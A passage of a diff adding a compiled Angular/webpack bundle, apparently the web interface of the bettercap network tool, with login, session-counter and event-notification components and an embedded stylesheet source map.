+/* harmony import */ var url_parse__WEBPACK_IMPORTED_MODULE_6___default = /*#__PURE__*/__webpack_require__.n(url_parse__WEBPACK_IMPORTED_MODULE_6__);
+
+
+
+
+
+
+
+var LoginComponent = /** @class */ (function () {
+ function LoginComponent(api, formBuilder, route, router) {
+ this.api = api;
+ this.formBuilder = formBuilder;
+ this.route = route;
+ this.router = router;
+ this.submitted = false;
+ this.mismatch = null;
+ this.subscriptions = [];
+ this.returnTo = "/";
+ this.env = _environments_environment__WEBPACK_IMPORTED_MODULE_5__["environment"];
+ console.log("env:", this.env);
+ if (this.api.Ready()) {
+ console.log("user already logged in");
+ this.router.navigateByUrl("/");
+ }
+ }
+ LoginComponent.prototype.ngOnInit = function () {
+ var _this = this;
+ this.api.logout();
+ this.returnTo = this.route.snapshot.queryParams['returnTo'] || '/';
+ this.loginForm = this.formBuilder.group({
+ username: [''],
+ password: [''],
+ url: [this.api.settings.URL(), _angular_forms__WEBPACK_IMPORTED_MODULE_3__["Validators"].required]
+ });
+ this.subscriptions = [
+ this.api.onSessionError.subscribe(function (error) {
+ console.log(error);
+ _this.error = error;
+ console.log("session error:" + error);
+ }),
+ this.api.onLoggedOut.subscribe(function (error) {
+ _this.error = error;
+ console.log("logged out:" + error);
+ }),
+ this.api.onLoggedIn.subscribe(function () {
+ console.log("logged in");
+ _this.router.navigateByUrl(_this.returnTo);
+ })
+ ];
+ };
+ LoginComponent.prototype.ngOnDestroy = function () {
+ for (var i = 0; i < this.subscriptions.length; i++) {
+ this.subscriptions[i].unsubscribe();
+ }
+ this.subscriptions = [];
+ };
+ Object.defineProperty(LoginComponent.prototype, "form", {
+ get: function () {
+ return this.loginForm.controls;
+ },
+ enumerable: true,
+ configurable: true
+ });
+ LoginComponent.prototype.onSubmit = function () {
+ var _this = this;
+ this.error = null;
+ this.submitted = true;
+ if (!this.loginForm.invalid) {
+ var parsed = url_parse__WEBPACK_IMPORTED_MODULE_6__(this.form.url.value, false);
+ this.api.settings.schema = parsed.protocol;
+ this.api.settings.host = parsed.hostname;
+ this.api.settings.port = parsed.port;
+ this.api.settings.path = parsed.pathname;
+ this.api
+ .login(this.form.username.value, this.form.password.value)
+ .subscribe(function (value) { }, function (error) { _this.error = error; });
+ }
+ };
+ LoginComponent = tslib__WEBPACK_IMPORTED_MODULE_0__["__decorate"]([
+ Object(_angular_core__WEBPACK_IMPORTED_MODULE_1__["Component"])({
+ selector: 'ui-login',
+ template: __webpack_require__(/*! ./login.component.html */ "./src/app/components/login/login.component.html"),
+ styles: [__webpack_require__(/*! ./login.component.scss */ "./src/app/components/login/login.component.scss")]
+ }),
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__metadata"]("design:paramtypes", [_services_api_service__WEBPACK_IMPORTED_MODULE_4__["ApiService"], _angular_forms__WEBPACK_IMPORTED_MODULE_3__["FormBuilder"], _angular_router__WEBPACK_IMPORTED_MODULE_2__["ActivatedRoute"], _angular_router__WEBPACK_IMPORTED_MODULE_2__["Router"]])
+ ], LoginComponent);
+ return LoginComponent;
+}());
+
+
+
+/***/ }),
+
+/***/ "./src/app/components/main-header/main-header.component.html":
+/*!*******************************************************************!*\
+ !*** ./src/app/components/main-header/main-header.component.html ***!
+ \*******************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = "
\n\n
\n
\n
ERROR
\n
\n {{ sessionError.message }}\n
\n
\n
\n\n
\n
\n
WARNING
\n
\n {{ api.settings.URL() }} is using an insecure connection, refer to the documentation to configure the api.rest module to use SSL.
\n
\n
\n
\n\n
\n
\n
\n \n
\n \n
\n
\n {{ commandError.error | unbash }}\n
\n
\n
\n
\n"
+
+/***/ }),
+
+/***/ "./src/app/components/main-header/main-header.component.scss":
+/*!*******************************************************************!*\
+ !*** ./src/app/components/main-header/main-header.component.scss ***!
+ \*******************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = "/* Colors */\n/* Fonts */\n/* Colors */\n/* Fonts */\n.mono {\n font-family: \"Roboto Mono\", monospace;\n}\n.btn-action {\n font-weight: 100;\n font-size: 0.8rem;\n white-space: nowrap;\n padding: 0.05rem 0.3rem;\n line-height: 1;\n border-radius: 0.1rem;\n}\n.btn-tiny {\n font-size: 0.7rem !important;\n}\nbutton.btn-event {\n font-size: 0.8rem;\n padding: 0.05rem 0.3rem;\n line-height: 1;\n border-radius: 0.1rem;\n}\n.navbar {\n padding: 0.2rem 0;\n}\n@media (min-width: 768px) {\n .navbar {\n padding: 0.5rem 0;\n }\n}\n.navbar .navbar-nav {\n display: block;\n width: 100%;\n}\n.navbar .navbar-nav li.nav-item {\n float: left;\n margin-left: 5px;\n}\n@media (min-width: 768px) {\n .navbar .navbar-nav li.nav-item {\n margin-left: 10px;\n }\n}\n.navbar .navbar-nav li.nav-item:first {\n margin-left: 0px;\n}\n.navbar .navbar-nav li.right {\n float: right;\n margin-left: 0;\n margin-right: 10px;\n}\n.navbar .navbar-nav .nav-link {\n text-align: center;\n display: table-cell;\n vertical-align: middle;\n padding-top: 0;\n padding-bottom: 0;\n height: 50px;\n}\n@media (min-width: 768px) {\n .navbar .navbar-nav .nav-link {\n height: 70px;\n }\n}\n.navbar .navbar-nav .nav-link .nav-text {\n display: none;\n}\n@media (min-width: 768px) {\n .navbar .navbar-nav .nav-link .nav-text {\n display: inline;\n }\n}\n.navbar .navbar-nav .nav-link > *[class^=fa] {\n display: block;\n position: relative;\n width: 48px;\n font-size: 24px;\n top: 0;\n margin: 2px auto 4px auto;\n line-height: 24px;\n}\n.navbar .navbar-nav .nav-link > *[class^=fa] .badge {\n font-size: 0.75rem;\n position: absolute;\n right: 0;\n top: -7px;\n font-family: sans-serif;\n}\n#sessionError {\n padding: 5px;\n background-color: #343a40;\n}\ndiv.error-header {\n background-color: #d2322d;\n color: white;\n border-bottom: 1px solid #c2221d;\n}\ndiv.error-body {\n text-align: center;\n}\n.toast-bootstrap-compatibility-fix {\n opacity: 1;\n}\ndiv.toast-message {\n font-size: 10rem !important;\n}\n.navbar-dark .navbar-nav .active > .nav-link, .navbar-dark .navbar-nav .nav-link.active, .navbar-dark .navbar-nav .nav-link.show, .navbar-dark .navbar-nav .show > .nav-link {\n text-shadow: 0 2px 5px rgba(0, 0, 0, 0.26), 0 2px 5px rgba(0, 0, 0, 0.33);\n}\nli.replayDate {\n padding-top: 40px;\n font-size: 0.8rem;\n}\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi9Vc2Vycy9ldmlsc29ja2V0L0JhaGFtdXQvTGFiL2JldHRlcmNhcC91aS9zcmMvYXBwL2NvbXBvbmVudHMvbWFpbi1oZWFkZXIvbWFpbi1oZWFkZXIuY29tcG9uZW50LnNjc3MiLCIvVXNlcnMvZXZpbHNvY2tldC9CYWhhbXV0L0xhYi9iZXR0ZXJjYXAvdWkvc3JjL3BhcnRpYWxzL2J1dHRvbnMuc2NzcyIsInNyYy9hcHAvY29tcG9uZW50cy9tYWluLWhlYWRlci9tYWluLWhlYWRlci5jb21wb25lbnQuc2NzcyIsIi9Vc2Vycy9ldmlsc29ja2V0L0JhaGFtdXQvTGFiL2JldHRlcmNhcC91aS9zdGRpbiJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFBQSxXQUFBO0FBUUEsVUFBQTtBQVJBLFdBQUE7QUFRQSxVQUFBO0FDTkE7RUFDSSxxQ0FBQTtBQ0dKO0FEQUE7RUFFSSxnQkFBQTtFQUNBLGlCQUFBO0VBQ0EsbUJBQUE7RUFDQSx1QkFBQTtFQUNBLGNBQUE7RUFDQSxxQkFBQTtBQ0VKO0FEQ0E7RUFDSSw0QkFBQTtBQ0VKO0FEQ0E7RUFDSSxpQkFBQTtFQUNBLHVCQUFBO0VBQ0EsY0FBQTtFQUNBLHFCQUFBO0FDRUo7QUN2QkE7RUFDSSxpQkFBQTtBRDBCSjtBQ3hCSTtFQUhKO0lBSVEsaUJBQUE7RUQyQk47QUFDRjtBQ3pCSTtFQUNJLGNBQUE7RUFDQSxXQUFBO0FEMkJSO0FDekJRO0VBQ0ksV0FBQTtFQUNBLGdCQUFBO0FEMkJaO0FDekJZO0VBSko7SUFLUSxpQkFBQTtFRDRCZDtBQUNGO0FDMUJZO0VBQ0ksZ0JBQUE7QUQ0QmhCO0FDeEJRO0VBQ0ksWUFBQTtFQUNBLGNBQUE7RUFDQSxrQkFBQTtBRDBCWjtBQ3RCSTtFQUNJLGtCQUFBO0VBQ0EsbUJBQUE7RUFDQSxzQkFBQTtFQUNBLGNBQUE7RUFDQSxpQkFBQTtFQUNBLFlBQUE7QUR3QlI7QUN0QlE7RUFSSjtJQVNRLFlBQUE7RUR5QlY7QUFDRjtBQ3ZCUTtFQUNJLGFBQUE7QUR5Qlo7QUN4Qlk7RUFGSjtJQUdRLGVBQUE7RUQyQmQ7QUFDRjtBQ3hCUTtFQUNJLGNBQUE7RUFDQSxrQkFBQTtFQUNBLFdBQUE7RUFDQSxlQUFBO0VBQ0EsTUFBQTtFQUNBLHlCQUFBO0VBQ0EsaUJBQUE7QUQwQlo7QUN4Qlk7RUFDSSxrQkFBQTtFQUNBLGtCQUFBO0VBQ0EsUUFBQTtFQUNBLFNBQUE7RUFDQSx1QkFBQTtBRDBCaEI7QUNuQkE7RUFDSSxZQUFBO0VBQ0EseUJBQUE7QURzQko7QUNuQkE7RUFDSSx5QkFBQTtFQUNBLFlBQUE7RUFDQSxnQ0FBQTtBRHNCSjtBQ2ZBO0VBQ0ksa0JBQUE7QURrQko7QUNkQTtFQUNFLFVBQUE7QURpQkY7QUNkQTtFQUNJLDJCQUFBO0FEaUJKO0FDUEE7RUFDSSx5RUFBQTtBRFVKO0FDUEE7RUFDSSxpQkFBQTtFQUNBLGlCQUFBO0FEVUoiLCJmaWxlIjoic3JjL2FwcC9jb21wb25lbnRzL21haW4taGVhZGVyL21haW4taGVhZGVyLmNvbXBvbmVudC5zY3NzIiwic291cmNlc0NvbnRlbnQiOlsiLyogQ29sb3JzICovXG4kbWFpbkJhY2tncm91bmQ6IHJnYmEoMzgsNDUsNTMsMC45NSk7XG4kYWNpZE9yYW5nZTogI0ZENUYwMDtcbiRuZXRCbHVlOiM0MTY5RTE7XG4kYm9yZGVyQ29sb3JMaWdodDojMzEzMTMxO1xuJGFjaWRHcmVlbjojOTVEODU1O1xuJGRhcmtSZWQ6I2JmMDAwMDtcblxuLyogRm9udHMgKi9cbiRmb250RmFtaWx5UHJpbWFyeTogXCJOdW5pdG9cIiwgLWFwcGxlLXN5c3RlbSwgQmxpbmtNYWNTeXN0ZW1Gb250LCBcIlNlZ29lIFVJXCIsIFJvYm90bywgXCJIZWx2ZXRpY2EgTmV1ZVwiLCBBcmlhbCwgc2Fucy1zZXJpZiwgXCJBcHBsZSBDb2xvciBFbW9qaVwiLCBcIlNlZ29lIFVJIEVtb2ppXCIsIFwiU2Vnb2UgVUkgU3ltYm9sXCIsICdOb3RvIENvbG9yIEVtb2ppJyAhZGVmYXVsdDtcbiRmb250V2VpZ2h0Tm9ybWFsOjQwMDtcbiRmb250U2l6ZTouOXJlbTtcbiRsaW5lSGVpZ2h0OjEuNXJlbTtcbiIsIkBpbXBvcnQgXCJ2YXJpYWJsZXNcIjtcblxuLm1vbm8ge1xuICAgIGZvbnQtZmFtaWx5OiAnUm9ib3RvIE1vbm8nLCBtb25vc3BhY2U7XG59XG5cbi5idG4tYWN0aW9uIHtcbiAgICAvLyBjb2xvcjogI2QwZDBkMDtcbiAgICBmb250LXdlaWdodDogMTAwO1xuICAgIGZvbnQtc2l6ZTogLjhyZW07XG4gICAgd2hpdGUtc3BhY2U6IG5vd3JhcDtcbiAgICBwYWRkaW5nOiAuMDVyZW0gLjNyZW07XG4gICAgbGluZS1oZWlnaHQ6IDEuMDtcbiAgICBib3JkZXItcmFkaXVzOiAuMXJlbTtcbn1cblxuLmJ0bi10aW55IHtcbiAgICBmb250LXNpemU6IC43cmVtICFpbXBvcnRhbnQ7XG59XG5cbmJ1dHRvbi5idG4tZXZlbnQge1xuICAgIGZvbnQtc2l6ZTogLjhyZW07XG4gICAgcGFkZGluZzogLjA1cmVtIC4zcmVtO1xuICAgIGxpbmUtaGVpZ2h0OiAxLjA7XG4gICAgYm9yZGVyLXJhZGl1czogLjFyZW07XG59XG4iLCIvKiBDb2xvcnMgKi9cbi8qIEZvbnRzICovXG4vKiBDb2xvcnMgKi9cbi8qIEZvbnRzICovXG4ubW9ubyB7XG4gIGZvbnQtZmFtaWx5OiBcIlJvYm90byBNb25vXCIsIG1vbm9zcGFjZTtcbn1cblxuLmJ0bi1hY3Rpb24ge1xuICBmb250LXdlaWdodDogMTAwO1xuICBmb250LXNpemU6IDAuOHJlbTtcbiAgd2hpdGUtc3BhY2U6IG5vd3JhcDtcbiAgcGFkZGluZzogMC4wNXJlbSAwLjNyZW07XG4gIGxpbmUtaGVpZ2h0OiAxO1xuICBib3JkZXItcmFkaXVzOiAwLjFyZW07XG59XG5cbi5idG4tdGlueSB7XG4gIGZvbnQtc2l6ZTogMC43cmVtICFpbXBvcnRhbnQ7XG59XG5cbmJ1dHRvbi5idG4tZXZlbnQge1xuICBmb250LXNpemU6IDAuOHJlbTtcbiAgcGFkZGluZzogMC4wNXJlbSAwLjNyZW07XG4gIGxpbmUtaGVpZ2h0OiAxO1xuICBib3JkZXItcmFkaXVzOiAwLjFyZW07XG59XG5cbi5uYXZiYXIge1xuICBwYWRkaW5nOiAwLjJyZW0gMDtcbn1cbkBtZWRpYSAobWluLXdpZHRoOiA3NjhweCkge1xuICAubmF2YmFyIHtcbiAgICBwYWRkaW5nOiAwLjVyZW0gMDtcbiAgfVxufVxuLm5hdmJhciAubmF2YmFyLW5hdiB7XG4gIGRpc3BsYXk6IGJsb2NrO1xuICB3aWR0aDogMTAwJTtcbn1cbi5uYXZiYXIgLm5hdmJhci1uYXYgbGkubmF2LWl0ZW0ge1xuICBmbG9hdDogbGVmdDtcbiAgbWFyZ2luLWxlZnQ6IDVweDtcbn1cbkBtZWRpYSAobWluLXdpZHRoOiA3NjhweCkge1xuICAubmF2YmFyIC5uYXZiYXItbmF2IGxpLm5hdi1pdGVtIHtcbiAgICBtYXJnaW4tbGVmdDogMTBweDtcbiAgfVxufVxuLm5hdmJhciAubmF2YmFyLW5hdiBsaS5uYXYtaXRlbTpmaXJzdCB7XG4gIG1hcmdpbi1sZWZ0OiAwcHg7XG59XG4ubmF2YmFyIC5uYXZiYXItbmF2IGxpLnJpZ2h0IHtcbiAgZmxvYXQ6IHJpZ2h0O1xuICBtYXJnaW4tbGVmdDogMDtcbiAgbWFyZ2luLXJpZ2h0OiAxMHB4O1xufVxuLm5hdmJhciAubmF2YmFyLW5hdiAubmF2LWxpbmsge1xuICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gIGRpc3BsYXk6IHRhYmxlLWNlbGw7XG4gIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XG4gIHBhZGRpbmctdG9wOiAwO1xuICBwYWRkaW5nLWJvdHRvbTogMDtcbiAgaGVpZ2h0OiA1MHB4O1xufVxuQG1lZGlhIChtaW4td2lkdGg6IDc2OHB4KSB7XG4gIC5uYXZiYXIgLm5hdmJhci1uYXYgLm5hdi1saW5rIHtcbiAgICBoZWlnaHQ6IDcwcHg7XG4gIH1cbn1cbi5uYXZiYXIgLm5hdmJhci1uYXYgLm5hdi1saW5rIC5uYXYtdGV4dCB7XG4gIGRpc3BsYXk6IG5vbmU7XG59XG5AbWVkaWEgKG1pbi13aWR0aDogNzY4cHgpIHtcbiAgLm5hdmJhciAubmF2YmFyLW5hdiAubmF2LWxpbmsgLm5hdi10ZXh0IHtcbiAgICBkaXNwbGF5OiBpbmxpbmU7XG4gIH1cbn1cbi5uYXZiYXIgLm5hdmJhci1uYXYgLm5hdi1saW5rID4gKltjbGFzc149ZmFdIHtcbiAgZGlzcGxheTogYmxvY2s7XG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgd2lkdGg6IDQ4cHg7XG4gIGZvbnQtc2l6ZTogMjRweDtcbiAgdG9wOiAwO1xuICBtYXJnaW46IDJweCBhdXRvIDRweCBhdXRvO1xuICBsaW5lLWhlaWdodDogMjRweDtcbn1cbi5uYXZiYXIgLm5hdmJhci1uYXYgLm5hdi1saW5rID4gKltjbGFzc149ZmFdIC5iYWRnZSB7XG4gIGZvbnQtc2l6ZTogMC43NXJlbTtcbiAgcG9zaXRpb246IGFic29sdXRlO1xuICByaWdodDogMDtcbiAgdG9wOiAtN3B4O1xuICBmb250LWZhbWlseTogc2Fucy1zZXJpZjtcbn1cblxuI3Nlc3Npb25FcnJvciB7XG4gIHBhZGRpbmc6IDVweDtcbiAgYmFja2dyb3VuZC1jb2xvcjogIzM0M2E0MDtcbn1cblxuZGl2LmVycm9yLWhlYWRlciB7XG4gIGJhY2tncm91bmQtY29sb3I6ICNkMjMyMmQ7XG4gIGNvbG9yOiB3aGl0ZTtcbiAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNjMjIyMWQ7XG59XG5cbmRpdi5lcnJvci1ib2R5IHtcbiAgdGV4dC1hbGlnbjogY2VudGVyO1xufVxuXG4udG9hc3QtYm9vdHN0cmFwLWNvbXBhdGliaWxpdHktZml4IHtcbiAgb3BhY2l0eTogMTtcbn1cblxuZGl2LnRvYXN0LW1lc3NhZ2Uge1xuICBmb250LXNpemU6IDEwcmVtICFpbXBvcnRhbnQ7XG59XG5cbi5uYXZiYXItZGFyayAubmF2YmFyLW5hdiAuYWN0aXZlID4gLm5hdi1saW5rLCAubmF2YmFyLWRhcmsgLm5hdmJhci1uYXYgLm5hdi1saW5rLmFjdGl2ZSwgLm5hdmJhci1kYXJrIC5uYXZiYXItbmF2IC5uYXYtbGluay5zaG93LCAubmF2YmFyLWRhcmsgLm5hdmJhci1uYXYgLnNob3cgPiAubmF2LWxpbmsge1xuICB0ZXh0LXNoYWRvdzogMCAycHggNXB4IHJnYmEoMCwgMCwgMCwgMC4yNiksIDAgMnB4IDVweCByZ2JhKDAsIDAsIDAsIDAuMzMpO1xufVxuXG5saS5yZXBsYXlEYXRlIHtcbiAgcGFkZGluZy10b3A6IDQwcHg7XG4gIGZvbnQtc2l6ZTogMC44cmVtO1xufSIsIkBpbXBvcnQgXCJ2YXJpYWJsZXNcIjtcbkBpbXBvcnQgXCJidXR0b25zXCI7XG5cbi5uYXZiYXIge1xuICAgIHBhZGRpbmc6IC4ycmVtIDA7XG5cbiAgICBAbWVkaWEgKG1pbi13aWR0aDogNzY4cHgpIHtcbiAgICAgICAgcGFkZGluZzogLjVyZW0gMDtcbiAgICB9XG5cbiAgICAubmF2YmFyLW5hdiB7XG4gICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICB3aWR0aDogMTAwJTtcblxuICAgICAgICBsaS5uYXYtaXRlbSB7XG4gICAgICAgICAgICBmbG9hdDogbGVmdDtcbiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiA1cHg7XG4gICAgICAgICAgICBcbiAgICAgICAgICAgIEBtZWRpYSAobWluLXdpZHRoOiA3NjhweCkge1xuICAgICAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAxMHB4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAmOmZpcnN0IHtcbiAgICAgICAgICAgICAgICBtYXJnaW4tbGVmdDogMHB4O1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgIFxuICAgICAgICBsaS5yaWdodCB7XG4gICAgICAgICAgICBmbG9hdDogcmlnaHQ7XG4gICAgICAgICAgICBtYXJnaW4tbGVmdDogMDtcbiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogMTBweDtcbiAgICAgICAgfVxuICAgIH1cblxuICAgIC5uYXZiYXItbmF2IC5uYXYtbGluayB7XG4gICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICAgICAgZGlzcGxheTogdGFibGUtY2VsbDtcbiAgICAgICAgdmVydGljYWwtYWxpZ246IG1pZGRsZTtcbiAgICAgICAgcGFkZGluZy10b3A6IDA7XG4gICAgICAgIHBhZGRpbmctYm90dG9tOiAwO1xuICAgICAgICBoZWlnaHQ6IDUwcHg7XG5cbiAgICAgICAgQG1lZGlhIChtaW4td2lkdGg6IDc2OHB4KSB7XG4gICAgICAgICAgICBoZWlnaHQ6IDcwcHg7XG4gICAgICAgIH1cblxuICAgICAgICAubmF2LXRleHQge1xuICAgICAgICAgICAgZGlzcGxheTogbm9uZTtcbiAgICAgICAgICAgIEBtZWRpYSAobWluLXdpZHRoOiA3NjhweCkge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuXG4gICAgICAgICYgPiAqW2NsYXNzXj0nZmEnXSB7XG4gICAgICAgICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgICAgICAgIHdpZHRoOiA0OHB4O1xuICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4O1xuICAgICAgICAgICAgdG9wOiAwO1xuICAgICAgICAgICAgbWFyZ2luOiAycHggYXV0byA0cHggYXV0bztcbiAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAyNHB4O1xuXG4gICAgICAgICAgICAuYmFkZ2Uge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMC43NXJlbTtcbiAgICAgICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAgICAgICAgICAgcmlnaHQ6IDA7XG4gICAgICAgICAgICAgICAgdG9wOiAtN3B4O1xuICAgICAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBzYW5zLXNlcmlmO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgfVxuXG59XG5cbiNzZXNzaW9uRXJyb3Ige1xuICAgIHBhZGRpbmc6IDVweDtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMzQzYTQwO1xufVxuXG5kaXYuZXJyb3ItaGVhZGVyIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZDIzMjJkO1xuICAgIGNvbG9yOiB3aGl0ZTtcbiAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2MyMjIxZDtcbn1cblxuZGl2LmVycm9yLXRpdGxlIHtcblxufVxuXG5kaXYuZXJyb3ItYm9keSB7XG4gICAgdGV4dC1hbGlnbjogY2VudGVyO1xufVxuXG4vLyBodHRwczovL3N0YWNrb3ZlcmZsb3cuY29tL3F1ZXN0aW9ucy81Mzk4OTQ0NS9uZ3gtdG9hc3RyLXRvYXN0LW5vdC1zaG93aW5nLWluLWFuZ3VsYXItN1xuLnRvYXN0LWJvb3RzdHJhcC1jb21wYXRpYmlsaXR5LWZpeCB7XG4gIG9wYWNpdHk6MTtcbn1cblxuZGl2LnRvYXN0LW1lc3NhZ2Uge1xuICAgIGZvbnQtc2l6ZTogMTByZW0gIWltcG9ydGFudDtcbn1cblxuLnBpbm5lZDphZnRlciB7XG4gICAgLy8gZm9udC1mYW1pbHk6ICdGb250IEF3ZXNvbWUgNSBGcmVlJztcbiAgICAvLyBmb250LXdlaWdodDogOTAwO1xuICAgIC8vIGNvbnRlbnQ6ICdcXGYwOGQnO1xufVxuXG4vLyBvdmVycmlkZSB0ZXh0LW11dGVkXG4ubmF2YmFyLWRhcmsgLm5hdmJhci1uYXYgLmFjdGl2ZT4ubmF2LWxpbmssIC5uYXZiYXItZGFyayAubmF2YmFyLW5hdiAubmF2LWxpbmsuYWN0aXZlLCAubmF2YmFyLWRhcmsgLm5hdmJhci1uYXYgLm5hdi1saW5rLnNob3csIC5uYXZiYXItZGFyayAubmF2YmFyLW5hdiAuc2hvdz4ubmF2LWxpbmsge1xuICAgIHRleHQtc2hhZG93OiAwIDJweCA1cHggcmdiYSgwLDAsMCwwLjI2KSwgMCAycHggNXB4IHJnYmEoMCwwLDAsMC4zMyk7XG59XG5cbmxpLnJlcGxheURhdGUge1xuICAgIHBhZGRpbmctdG9wOiA0MHB4OyBcbiAgICBmb250LXNpemU6IC44cmVtO1xufVxuIl19 */"
+
+/***/ }),
+
+/***/ "./src/app/components/main-header/main-header.component.ts":
+/*!*****************************************************************!*\
+ !*** ./src/app/components/main-header/main-header.component.ts ***!
+ \*****************************************************************/
+/*! exports provided: MainHeaderComponent */
+/***/ (function(module, __webpack_exports__, __webpack_require__) {
+
+"use strict";
+__webpack_require__.r(__webpack_exports__);
+/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "MainHeaderComponent", function() { return MainHeaderComponent; });
+/* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! tslib */ "./node_modules/tslib/tslib.es6.js");
+/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js");
+/* harmony import */ var _angular_router__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @angular/router */ "./node_modules/@angular/router/fesm5/router.js");
+/* harmony import */ var ngx_toastr__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ngx-toastr */ "./node_modules/ngx-toastr/fesm5/ngx-toastr.js");
+/* harmony import */ var _services_api_service__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ../../services/api.service */ "./src/app/services/api.service.ts");
+/* harmony import */ var _event_event_component__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ../event/event.component */ "./src/app/components/event/event.component.ts");
+
+
+
+
+
+
+var MainHeaderComponent = /** @class */ (function () {
+ function MainHeaderComponent(api, router, toastr, resolver, injector) {
+ this.api = api;
+ this.router = router;
+ this.toastr = toastr;
+ this.resolver = resolver;
+ this.injector = injector;
+ this.apiFirstUpdate = true;
+ this.rest = null;
+ this.counters = {
+ events: 0,
+ hosts: 0,
+ aps: 0,
+ ble: 0,
+ hid: 0,
+ gps: 0,
+ caplets: 0,
+ running: 0
+ };
+ this.subscriptions = [];
+ this.modNotificationCache = {};
+ this.updateSession(this.api.session);
+ this.updateEvents(this.api.events, true);
+ }
+ MainHeaderComponent.prototype.skipError = function (error) {
+ return false;
+ };
+ MainHeaderComponent.prototype.ngOnInit = function () {
+ var _this = this;
+ this.subscriptions = [
+ this.api.onNewData.subscribe(function (session) {
+ _this.updateSession(session);
+ }),
+ this.api.onNewEvents.subscribe(function (events) {
+ _this.updateEvents(events, _this.apiFirstUpdate);
+ _this.apiFirstUpdate = false;
+ }),
+ this.api.onSessionError.subscribe(function (error) {
+ console.error("session error", error);
+ _this.apiFirstUpdate = true;
+ _this.sessionError = error;
+ }),
+ this.api.onCommandError.subscribe(function (error) {
+ console.error("command error", error);
+ _this.commandError = error;
+ $('#commandError').modal('show');
+ })
+ ];
+ };
+ MainHeaderComponent.prototype.ngOnDestroy = function () {
+ for (var i = 0; i < this.subscriptions.length; i++) {
+ this.subscriptions[i].unsubscribe();
+ }
+ this.subscriptions = [];
+ };
+ MainHeaderComponent.prototype.updateSession = function (session) {
+ this.rest = this.api.module('api.rest');
+ this.sessionError = null;
+ this.counters.hosts = session.lan['hosts'].length || 0;
+ this.counters.aps = session.wifi['aps'].length || 0;
+ this.counters.ble = session.ble['devices'].length || 0;
+ this.counters.hid = session.hid['devices'].length || 0;
+ this.counters.gps = this.api.module('gps').running ? (session.gps.NumSatellites || 0) : 0;
+ this.counters.caplets = session.caplets.length || 0;
+ this.counters.running = session.modules.filter(function (m) { return m.running; }).length;
+ };
+ MainHeaderComponent.prototype.eventCacheKey = function (event) {
+ var key = event.tag + "::";
+ if (typeof event.data == 'string')
+ key += event.data + "::";
+ else
+ key += "{}::";
+ key += event.time;
+ return key;
+ };
+ MainHeaderComponent.prototype.eventHTML = function (event) {
+ // reuse the EventComponent at runtime to get the same HTML
+ // we'd have in the event table ... reusability FTW ^_^
+ var factory = this.resolver.resolveComponentFactory(_event_event_component__WEBPACK_IMPORTED_MODULE_5__["EventComponent"]);
+ var component = factory.create(this.injector);
+ component.instance.event = event;
+ component.changeDetectorRef.detectChanges();
+ return component.location.nativeElement.innerHTML;
+ };
+ MainHeaderComponent.prototype.isTrackedEvent = function (event) {
+ // modules start and stop events
+ if (event.tag.indexOf('mod.') == 0)
+ return true;
+ // generic logs (but not the syn.scan progress or hid payloads)
+ if (event.tag == 'sys.log' && event.data.Message.indexOf('syn.scan') == -1 && event.data.Message.indexOf('payload for') == -1)
+ return true;
+ // some recon module got a new target
+ // if( event.tag.indexOf('.new') != -1 && event.tag != 'wifi.client.new' )
+ // return true;
+ // wifi l00t
+ if (event.tag == 'wifi.client.handshake')
+ return true;
+ return false;
+ };
+ MainHeaderComponent.prototype.eventClass = function (event) {
+ if (event.tag == 'mod.started' || event.tag.indexOf('.new') != -1)
+ return 'toast-success';
+ else if (event.tag == 'mod.stopped' || event.tag == 'wifi.client.handshake')
+ return 'toast-warning';
+ else if (event.tag == 'sys.log') {
+ if (event.data.Level == 3 /* WARNING */)
+ return 'toast-warning';
+ else if (event.data.Level == 4 /* ERROR */ || event.data.Level == 5 /* FATAL */)
+ return 'toast-error';
+ }
+ return 'toast-info';
+ };
+ MainHeaderComponent.prototype.handleTrackedEvent = function (event, firstUpdate) {
+ // since we're constantly polling for /api/events and we'll
+ // end up getting the same events we already shown in multiple
+ // requests, we need to "cache" this information to avoid showing
+ // the same notification more than once.
+ var evKey = this.eventCacheKey(event);
+ if (evKey in this.modNotificationCache === false) {
+ this.modNotificationCache[evKey] = true;
+ // first time we get the event we don't want to notify the user,
+ // otherwise dozens of notifications might be generated after
